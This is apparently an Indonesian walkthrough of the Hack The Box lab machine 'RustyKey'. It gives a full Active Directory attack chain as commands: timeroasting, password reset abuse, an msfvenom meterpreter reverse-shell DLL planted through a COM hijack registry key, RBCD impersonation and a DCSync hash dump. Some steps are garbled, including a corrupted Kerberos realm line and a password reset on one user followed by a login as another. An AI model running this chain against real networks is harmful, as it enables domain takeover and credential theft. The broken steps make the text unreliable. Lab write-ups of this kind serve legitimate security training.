
Target Machine: 10.10.11.75 (RustyKey)
Tingkat Kesulitan: Hard
1. Recon & Enumeration
Pada machine HTB RustyKey ini, tahap awal dilakukan dengan nmap untuk enumerasi port penting dari Windows target machine.
nmap -sC -sV -p- 10.10.11.75
Port penting yang terbuka di RustyKey HTB: 53 (DNS), 88 (Kerberos), 389 (LDAP), 445 (SMB), dan 5985 (WinRM). Ini menjadi dasar dari LDAP enumeration HackTheBox dan Kerberos exploitation in Windows.
2. Initial Credential (rr.parker)
Langkah awal eksploitasi HackTheBox RustyKey adalah login menggunakan kredensial default:
Username: rr.parker
Password: 8#t5HE8L!W3A
Setup konfigurasi Kerberos pada Linux untuk terhubung ke domain Windows:
[libdefaults]
default_realm = RUSTYKEY.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
forwardable = true
[realms]
RUSTYKEY.HTB = {
kdc = 10.10.11.75
}
[domain_realm]
.rustykey.htb = RUSTYKEY.HTB
rustykey.htb = RUSTYKEY.HTBYKEY.HTB
Request TGT Kerberos:
impacket-getTGT rustykey.htb/rr.parker:8#t5HE8L!W3A
3. Enumerasi LDAP & Timeroasting Attack Example
Melakukan LDAP enumeration HackTheBox menggunakan nxc:
nxc ldap 10.10.11.75 -u rr.parker -p '8#t5HE8L!W3A' -k --users
Kemudian menjalankan timeroasting attack example untuk mendapatkan hash NTLM dari account service:
python timeroast.py 10.10.11.75
Hasil brute-force:
IT-COMPUTER3$ : Rusty88!
4. BloodHound AD Attack Path
Gunakan BloodHound untuk melihat BloodHound AD attack path pada jaringan RustyKey HTB:
bloodhound-python -u rr.parker -p '8#t5HE8L!W3A' -k -d rustykey.htb -ns 10.10.11.75 -c ALL --zip
Teridentifikasi user dengan permission AddSelf dan AddMember.
5. Abuse Computer Account (HTB Windows Hard Machine)
Karena ini adalah HTB Windows hard machine, kita eksploitasi komputer account:
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' add groupMember HELPDESK 'IT-COMPUTER3$'
Reset password user:
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password ee.reed 'Password321@!'
Login ke evil-winrm HTB:
evil-winrm -i 10.10.11.75 -u bb.morgan -p 'Password321@!'
6. COM Hijack Privilege Escalation
Gunakan teknik COM Hijack privilege escalation karena SUPPORT group punya akses registry.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.128 LPORT=4444 -f dll -o inject.dll
Inject DLL ke CLSID registry:
reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\tmp\inject.dll" /f
Windows COM object abuse ini dimanfaatkan untuk mendapatkan sesi meterpreter dengan hak lebih tinggi.
7. RBCD Active Directory
Langkah lanjutan adalah menggunakan RBCD Active Directory (Resource Based Constrained Delegation):
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$
Impersonasi account backupadmin:
impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'rustykey.htb/IT-COMPUTER3$:Rusty88!'
Login administrator:
evil-winrm -i 10.10.11.75 -u Administrator -k
8. DCSync & Kerberos Exploitation in Windows
Sebagai bagian dari Kerberos exploitation in Windows, kita dump hash dengan DCSync:
impacket-secretsdump -k -no-pass rustykey.htb/backupadmin@10.10.11.75
π‘ Kesimpulan
- Box RustyKey HTB walkthrough ini menggabungkan banyak teknik real-world seperti Kerberos, delegation, dan registry abuse.
- Active Directory privilege escalation dilakukan melalui timeroasting, BloodHound, dan RBCD.
- Writeup ini adalah contoh nyata RustyKey writeup dengan kombinasi teknik lateral movement dan privilege escalation Windows.
